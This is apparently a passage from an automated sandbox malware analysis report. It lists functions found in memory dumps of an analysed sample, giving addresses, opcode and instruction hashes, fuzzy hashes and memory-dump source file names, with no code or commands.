              • Snapshot File: hcaresult_10_2_7ffd9b7ec000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: da18ba83968656063f2cc50fe94625d53290e0a2eb3c6e75084cd3803f3060f2
              • Instruction ID: 66dfd92fc4737bbfe294306ea38bdbea10b44c1b4f6f68a99a2b115b8aeb5328
              • Opcode Fuzzy Hash: da18ba83968656063f2cc50fe94625d53290e0a2eb3c6e75084cd3803f3060f2
              • Instruction Fuzzy Hash: 7AF0B431E5E68DAFEB61AB64486A6FD7FF0EF05301F0605BAD40CC34B2D92863548791
              Function 00007FFD9B7F9E7D Relevance: .0, Instructions: 38COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7ec000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: d567cf7c5878663a7663d24eec61f53242a8706212b6606b4bd49a4897459535
              • Instruction ID: bf920012c9aa4e1349d994a0ef060c919fc09a9d1c82b12a134dba15f748bd55
              • Opcode Fuzzy Hash: d567cf7c5878663a7663d24eec61f53242a8706212b6606b4bd49a4897459535
              • Instruction Fuzzy Hash: 8DF04F30A1960E9FDB55DF68C4985F97BA1FF54308F5006B6E81CC61A5CA34A6A1CB81
              Function 00007FFD9B7EE995 Relevance: .0, Instructions: 38COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7ec000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 61bb0fc32d1b9a57f6d295cf96525b5a852ac27fc18b89fb7b610b5cf29b1608
              • Instruction ID: 790961ba4c829d6ecabce04182e0e9cf89b7575c519f170419e2366bb65cab99
              • Opcode Fuzzy Hash: 61bb0fc32d1b9a57f6d295cf96525b5a852ac27fc18b89fb7b610b5cf29b1608
              • Instruction Fuzzy Hash: 53F04F7191D78D8FEB94AF5488656E877A0FF14300F4505BAE41CC21B6DB3865548B12
              Function 00007FFD9B7E1494 Relevance: .0, Instructions: 38COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7e0000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: a201ad016cb85b810b21cc87c8c8cd65a46ebb9292f0e13abb08a26db4bb5e82
              • Instruction ID: eb6e330a294cd0115cff01afa1e1d1bae3436b8d259fa55c3ed279ee65301c7e
              • Opcode Fuzzy Hash: a201ad016cb85b810b21cc87c8c8cd65a46ebb9292f0e13abb08a26db4bb5e82
              • Instruction Fuzzy Hash: 7E01C470E0A62ECFEB64DB84D8A5AECB7B1FF49300F510229D009A36B1DB746A40CB00
              Function 00007FFD9B7E90C1 Relevance: .0, Instructions: 37COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7E8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E8000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7e8000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 51d8858ab4211a0f483cb412d3ecd1b380fc26df6fcbb85be6ba7c84138d892b
              • Instruction ID: 266954ed6e88ff6c72a0357ec1b533e9e7ed6453212dc18a21928701948be638
              • Opcode Fuzzy Hash: 51d8858ab4211a0f483cb412d3ecd1b380fc26df6fcbb85be6ba7c84138d892b
              • Instruction Fuzzy Hash: 39F05E3191A74D9FDBA4EF68885D6ED7BB0FF04304F4206BAE41CD21B2EB34A6548B41
              Function 00007FFD9B7E8F01 Relevance: .0, Instructions: 36COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7E8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E8000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7e8000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: d66a8d04c8461112247a3a38291ea3615627e697d6d9176ac94bc04214e2689b
              • Instruction ID: c8f5f7c7480f58cfb06e9d18f9a813e4407d1ff6ebb86aa7d5041675a9db6e21
              • Opcode Fuzzy Hash: d66a8d04c8461112247a3a38291ea3615627e697d6d9176ac94bc04214e2689b
              • Instruction Fuzzy Hash: E5F0BE3090A34ECFCB519F549851AEA3761FF05300F4502BAE40C8A1B2CB38AA60C791
              Function 00007FFD9B7E8588 Relevance: .0, Instructions: 36COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7E8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E8000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7e8000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 82ce35b879e0456b9a73e9700f9c9ec9ddfe3f0be27407a8a078c415d8e6c01f
              • Instruction ID: fc01ea75ca83e238ac02a5de48a53b96811ef9277bf3baaebbd500535deb6603
              • Opcode Fuzzy Hash: 82ce35b879e0456b9a73e9700f9c9ec9ddfe3f0be27407a8a078c415d8e6c01f
              • Instruction Fuzzy Hash: 32F0F971E1A60E9EEBA0EFA8981C6FD76E4FF18300F510A36E41DD21B1DB3466508B41
              Function 00007FFD9B7E144B Relevance: .0, Instructions: 35COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7e0000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 94330556dd4760a940137696e210729db3e9bbe2dc5192abd12175468898a581
              • Instruction ID: ff4fd80eec74ca7f8dca7fc11e36fe9df060ce3b505262a752652a2f78c617fc
              • Opcode Fuzzy Hash: 94330556dd4760a940137696e210729db3e9bbe2dc5192abd12175468898a581
              • Instruction Fuzzy Hash: A9F06970A0561E8FDBA4DF84C8A1AED73E2FF99300F104269D009E72B0CE34AE428B40
              Function 00007FFD9B7E0A90 Relevance: .0, Instructions: 35COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7e0000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 80fed311d65602c8a373ea46f2f2f10e0433f3e251f4a2ceed926becee5c89bc
              • Instruction ID: acb3eb9dc19f6a708c020d1b797f9907dc38196ac61bb994de65aa112f8668ca
              • Opcode Fuzzy Hash: 80fed311d65602c8a373ea46f2f2f10e0433f3e251f4a2ceed926becee5c89bc
              • Instruction Fuzzy Hash: 9BF05930E1E74D8AEB64EBB488652F97BE0EF55704F41017AE08DC10F1DD342694C700
              Function 00007FFD9B7F8E09 Relevance: .0, Instructions: 34COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7ec000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 8122f48fe4957096a082bf3e7cacc3191a24df1d2fc8cfd882fe1cc43cb8e4a5
              • Instruction ID: b0252875a6980778ab400d43f39fe67d15fb23c41c5b2d27961db66cd37ce43e
              • Opcode Fuzzy Hash: 8122f48fe4957096a082bf3e7cacc3191a24df1d2fc8cfd882fe1cc43cb8e4a5
              • Instruction Fuzzy Hash: 27F06D3091E78D8FDB519F6488586E97BB0EF05304F4501BAD40CC61B2DA386954C711
              Function 00007FFD9B7F5495 Relevance: .0, Instructions: 34COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7ec000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: b4f65ca5eaffc9f0731fe9d0b8fd42248b9d58983c9afeaa79e7f72070e3d4ee
              • Instruction ID: 37e0b510edd178d36906c05131adb828a8a62c3bd7aa5c3b8f684f5c1f6044de
              • Opcode Fuzzy Hash: b4f65ca5eaffc9f0731fe9d0b8fd42248b9d58983c9afeaa79e7f72070e3d4ee
              • Instruction Fuzzy Hash: D2F09A30E1928E9FDB50DF64C859AED3BA0FF05300F4101BAE818C61A2EA34A654CB81
              Function 00007FFD9B7F29DD Relevance: .0, Instructions: 33COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7ec000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 39c2d7e46aa68b9972f55ea3ee8ca63423fc6aa62e9834879b89d828ac6d241b
              • Instruction ID: c298ae39eaf466eddb61072b7ff8e96b5bf06526d03f00386b69a38681d33d51
              • Opcode Fuzzy Hash: 39c2d7e46aa68b9972f55ea3ee8ca63423fc6aa62e9834879b89d828ac6d241b
              • Instruction Fuzzy Hash: A8F0B431A4F78D9FDB30DEA498515ED7F60FF05300F860276E41C820A2DA28AA548781
              Function 00007FFD9B7EE4F9 Relevance: .0, Instructions: 33COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7ec000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: c4467ef0afe20711e26eb7e9731c561f6c81be967405b74e806895e707012ed4
              • Instruction ID: 19c9beee3a2dab8b829bcbaf42d78b849b13f278057cf331c3f4c0ed2447840e
              • Opcode Fuzzy Hash: c4467ef0afe20711e26eb7e9731c561f6c81be967405b74e806895e707012ed4
              • Instruction Fuzzy Hash: E5F0B43495E2CD9FDB52A7B4446C5F97FA0DF0A304F1509E6E458C90B2D9645255C701
              Function 00007FFD9B7F0A29 Relevance: .0, Instructions: 31COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7ec000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 8d258ba491e91923956fecd6568e33447e74ec13a04068db6daa55d747c0dcfa
              • Instruction ID: caafbfb6bfb4f0d4de5b243d8e557130e5e024ada19998513b78bf7ed8428e51
              • Opcode Fuzzy Hash: 8d258ba491e91923956fecd6568e33447e74ec13a04068db6daa55d747c0dcfa
              • Instruction Fuzzy Hash: 8DF05E3195D38D9FDB12AFB088696A83FB0FF16304F4605F7E408C61A2D6385944CB11
              Function 00007FFD9B7F56B9 Relevance: .0, Instructions: 30COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7ec000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: edec286d16f25893f3c7ca6e0972be780c8362c5af5e40d62eeccfa8fdcbbfa4
              • Instruction ID: 091f23cdb44e1bb0e01f0206802ed7d8770161070e6e2986ee411e3bb28116d6
              • Opcode Fuzzy Hash: edec286d16f25893f3c7ca6e0972be780c8362c5af5e40d62eeccfa8fdcbbfa4
              • Instruction Fuzzy Hash: A1F05E30D5E38D9FDB11AFA488685AC7FB0EF06304F4605F7E418CA0A2DA386658CB52
              Function 00007FFD9B7F30C8 Relevance: .0, Instructions: 30COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7ec000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: a9aab2d074f0220ec102705bc8eceed2dfa445bf3ba0988c00951c65960bbc4e
              • Instruction ID: 6b1d3b88ca1a8a3a33ba205fc6f234ab1907a76460a24d162e5fec84bc6ba84f
              • Opcode Fuzzy Hash: a9aab2d074f0220ec102705bc8eceed2dfa445bf3ba0988c00951c65960bbc4e
              • Instruction Fuzzy Hash: F0F05830A09A0E8BDB60EF6888056F937A0FB18304F000636E41D921A0CB38E664CBC5
              Function 00007FFD9B7EE8CD Relevance: .0, Instructions: 30COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7ec000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: ca35bf65bf16ba536405166d612e4cf36e3429b7ffb9f1faa85eed83299786b2
              • Instruction ID: 9c8287284e1200e824dc219934f70ceed9c91de67980f3e373e708a4dba82405
              • Opcode Fuzzy Hash: ca35bf65bf16ba536405166d612e4cf36e3429b7ffb9f1faa85eed83299786b2
              • Instruction Fuzzy Hash: 6BF0E972E0E38D8FD791ABA058356E97BA0BF51304F0605B6E40CC20F3DA286614C703
              Function 00007FFD9B7ECDE0 Relevance: .0, Instructions: 27COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7ec000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 3f47eda3d66c7b16a087cf5e1f8fa7e28e659c9c32261fc97dd11686fdfe94a9
              • Instruction ID: 466f966cbae54a57f1ecb792c68ce3a47eb342b039dbf664fbcc1ae0b8a21ed0
              • Opcode Fuzzy Hash: 3f47eda3d66c7b16a087cf5e1f8fa7e28e659c9c32261fc97dd11686fdfe94a9
              • Instruction Fuzzy Hash: A0E06D30D5A60D8FEB50EFA4C8096EDB7E4FF08304F410576E81CD21B0DB3066A48B81
              Function 00007FFD9B7F30F0 Relevance: .0, Instructions: 26COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7ec000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: be23ccdb523f557ac72da4d67faa3479bbc4a065dcdf7f9779d22c5a3958f3c6
              • Instruction ID: ba3d419a6dae46fc187a11b9e0c950cf6bd028963b0487990a96acd834a9531d
              • Opcode Fuzzy Hash: be23ccdb523f557ac72da4d67faa3479bbc4a065dcdf7f9779d22c5a3958f3c6
              • Instruction Fuzzy Hash: 33E03030E1960D9BDB60AFA48458AED7BA0FF04304F110575E41DD21B5DE34A664C685
              Function 00007FFD9B7E84F0 Relevance: .0, Instructions: 26COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7E8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E8000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7e8000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: b9901f411fc066ae7582b85710db63c6a1644afa77edec587de0e1f0172e21eb
              • Instruction ID: 6b8a7a07ec980ce4ac960f98321e0ccea3013a38acb579d8921eb5924b600c2d
              • Opcode Fuzzy Hash: b9901f411fc066ae7582b85710db63c6a1644afa77edec587de0e1f0172e21eb
              • Instruction Fuzzy Hash: E6E06D3090A60ECBDB64AF54A8116FA32A1FF49304F41063AE41C821B4CA34A660C781
              Function 00007FFD9B7F4EDD Relevance: .0, Instructions: 25COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7ec000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 622c17ccda1dab78ae3eff264f80a4882e92872a16a301ce9e396c975bf27f15
              • Instruction ID: 76d9404a2e1d2412c68b3fe1df6c449412e5d01308ebd39751835b9595b149d9
              • Opcode Fuzzy Hash: 622c17ccda1dab78ae3eff264f80a4882e92872a16a301ce9e396c975bf27f15
              • Instruction Fuzzy Hash: AEE02B30D4E38E8FD7119F608C245E93B60FF41308F4502BAD41D471E2DB38AA14C641
              Function 00007FFD9B7F4B50 Relevance: .0, Instructions: 23COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7ec000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: aa6b745e908d7d07cc706054bb06b8e14bce4a45c7330b321cd40d92cfd70491
              • Instruction ID: 3d655db5d20750a50f8b8ae19bcaa9903b7f5938ae1c9479804d7fd33ee55dfa
              • Opcode Fuzzy Hash: aa6b745e908d7d07cc706054bb06b8e14bce4a45c7330b321cd40d92cfd70491
              • Instruction Fuzzy Hash: 20E04F30E6964DAAEB50EBA484596FD7BF4FF08304F4009B6E40CD20B1DA346294CA41
              Function 00007FFD9B7E13FB Relevance: .0, Instructions: 5COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7e0000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 9c9a72da79fdff7cb816d3daff56040d8ad72616021844f2cd71a26563b5a603
              • Instruction ID: 2043236a29b71ba783403d6a7beee0ffc1184ac7daeaf3011b411415be6f4f00
              • Opcode Fuzzy Hash: 9c9a72da79fdff7cb816d3daff56040d8ad72616021844f2cd71a26563b5a603
              • Instruction Fuzzy Hash: 67A00120A6E61ECAE674E6D498669BC726A6F89700F522634E04E925B29D282A119600

              Non-executed Functions

              Function 00007FFD9B7F8934 Relevance: .0, Instructions: 42COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7ec000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: f323b470359fca705ca4aa7e856d53b32955dd5f4681920cedad64768767e4e9
              • Instruction ID: 1af940ef246d914474ecf82d91e4e6379d02badf2bba3d9c2ff3552359c5a383
              • Opcode Fuzzy Hash: f323b470359fca705ca4aa7e856d53b32955dd5f4681920cedad64768767e4e9
              • Instruction Fuzzy Hash: 47011231F4A51ECAD730DF84D9007F9F7B4EB45311F0162B5C40DA22A5E6749A859A88
              Function 00007FFD9B7E865D Relevance: 5.0, Strings: 4, Instructions: 48COMMON
              Download Yara Rule
              Strings
              Memory Dump Source
              • Source File: 0000000A.00000002.1734209123.00007FFD9B7E8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E8000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_10_2_7ffd9b7e8000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID: M_^9$M_^;$M_^=$M_^O
              • API String ID: 0-936142184
              • Opcode ID: d327e16cb4466a462520a092d01dde48da790d6e608a6db2144f3979bf814e36
              • Instruction ID: 34706e08b9b8c9c871173fd6fc921c857eec767c07fe7c827d109ace07c48e03
              • Opcode Fuzzy Hash: d327e16cb4466a462520a092d01dde48da790d6e608a6db2144f3979bf814e36
              • Instruction Fuzzy Hash: 22019977A1427192C305772C6C248DD73E4CF9037D34A47F5C97AEB282AD14304A4880

              Executed Functions

              Function 00007FFD9B7F1589 Relevance: .2, Instructions: 172COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000B.00000002.1761702302.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_11_2_7ffd9b7f0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: da78fb4727580731697657b37eda20bd6925be30149873a60b1209ca52a59e2f
              • Instruction ID: 10872a690addc0515b2773696ecb2e0c18834be739318646fbedcb611f1a95f2
              • Opcode Fuzzy Hash: da78fb4727580731697657b37eda20bd6925be30149873a60b1209ca52a59e2f
              • Instruction Fuzzy Hash: CB516E71E1A24D8FDB65DBA4C4646ECBBF0EF45300F0502BAD009E72B2DA786A45CB95
              Function 00007FFD9B7F18E8 Relevance: .2, Instructions: 170COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000B.00000002.1761702302.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_11_2_7ffd9b7f0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 8ab693f60a4178d8a56dc7717221e57188d9870d41aee0a436ec9192893be08d
              • Instruction ID: d2152bceca4c8680a33e41cc974671941982f7648d2d2ab9fd4d9fbcce69345e
              • Opcode Fuzzy Hash: 8ab693f60a4178d8a56dc7717221e57188d9870d41aee0a436ec9192893be08d
              • Instruction Fuzzy Hash: 0C411827B196694AD700BFBCA8555EC7B60EF81326B0987B3D0988A087DD246105C7C5
              Function 00007FFD9B7FEC40 Relevance: .2, Instructions: 150COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000B.00000002.1761702302.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_11_2_7ffd9b7f0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 866eabb58ea387e6b878e399d5fd2c13f9dd0955d40ceb9a6e41cce14cd7723a
              • Instruction ID: 11ff50d85e067af2a854d05b7d75f36ebc7c0f50bf44724d0a09bc8e547fe251
              • Opcode Fuzzy Hash: 866eabb58ea387e6b878e399d5fd2c13f9dd0955d40ceb9a6e41cce14cd7723a
              • Instruction Fuzzy Hash: E8411D71E09A5D8FDFA4EF98C895AECBBF1FB58310F11016AD01DE72A1DA346981CB40
              Function 00007FFD9B7F0B8D Relevance: .1, Instructions: 114COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000B.00000002.1761702302.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_11_2_7ffd9b7f0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 8a8ee512ed604a7ba12196a3651bafc9856bc747d2839e8343040f03f0573468
              • Instruction ID: 56369f0add48f41dcf03616c7458cd1b87fcbf7cb0baaed70fd92f1d9119fb7d
              • Opcode Fuzzy Hash: 8a8ee512ed604a7ba12196a3651bafc9856bc747d2839e8343040f03f0573468
              • Instruction Fuzzy Hash: 24416D70F0A65E8EEB60EFA4C8646FDBBF1EF05745F010276D019E32A2DA7866448785
              Function 00007FFD9B7F118F Relevance: .1, Instructions: 99COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000B.00000002.1761702302.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_11_2_7ffd9b7f0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0fea382c93f3a48af4a1a21c9acb89210c938658d4e508fab6faf1db378be261
              • Instruction ID: aeaf443d435271f89d9d6623aeccfcd85c352a9584dc9cf87f6a2864f96c61aa
              • Opcode Fuzzy Hash: 0fea382c93f3a48af4a1a21c9acb89210c938658d4e508fab6faf1db378be261
              • Instruction Fuzzy Hash: B641C930F1561D8EEB94EFA8C865AACBBB1FF48700F014179D00DE72A2DE746A848B54
              Function 00007FFD9B7F0DE9 Relevance: .1, Instructions: 91COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000B.00000002.1761702302.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_11_2_7ffd9b7f0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: c9b46637ed46811fd3adc1ac04ea8bb73a6ae0636ce86e194bdd710ea9757872
              • Instruction ID: a42eb7bf309b79897b413b18b8dc808470f7c34cade4aed74327af6c91acd7ca
              • Opcode Fuzzy Hash: c9b46637ed46811fd3adc1ac04ea8bb73a6ae0636ce86e194bdd710ea9757872
              • Instruction Fuzzy Hash: CE314E70E0A35DCEEB20EFA4C5247ED7BF1AF19710F110265D009E62A1CB786A44CB99
              Function 00007FFD9B7F19D3 Relevance: .1, Instructions: 72COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000B.00000002.1761702302.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_11_2_7ffd9b7f0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: e27739d24727fb5d4c8e8521e16d56aa6f0e3b158f61cc5aa4c1db87d0e7e188
              • Instruction ID: cd5b29b748739b62e8378b6b558d30ddf8468eb75fee08481102fb8e9d9322c3
              • Opcode Fuzzy Hash: e27739d24727fb5d4c8e8521e16d56aa6f0e3b158f61cc5aa4c1db87d0e7e188
              • Instruction Fuzzy Hash: FE112726B0F78D5FD7129F689C245EE7F60EF43222F0502F7D448C75A2D9250649C791
              Function 00007FFD9B7F19C0 Relevance: .1, Instructions: 60COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000B.00000002.1761702302.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_11_2_7ffd9b7f0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 386dd9ebdfbd606cd5eb9b3d11e4614ed6bed99b8df8328b951d49a8d09c3fe8
              • Instruction ID: 8ca807e0f5aa04b0d9cbcc6b60135f845e9c42ea7243c7a93cd188c36bbc8e83
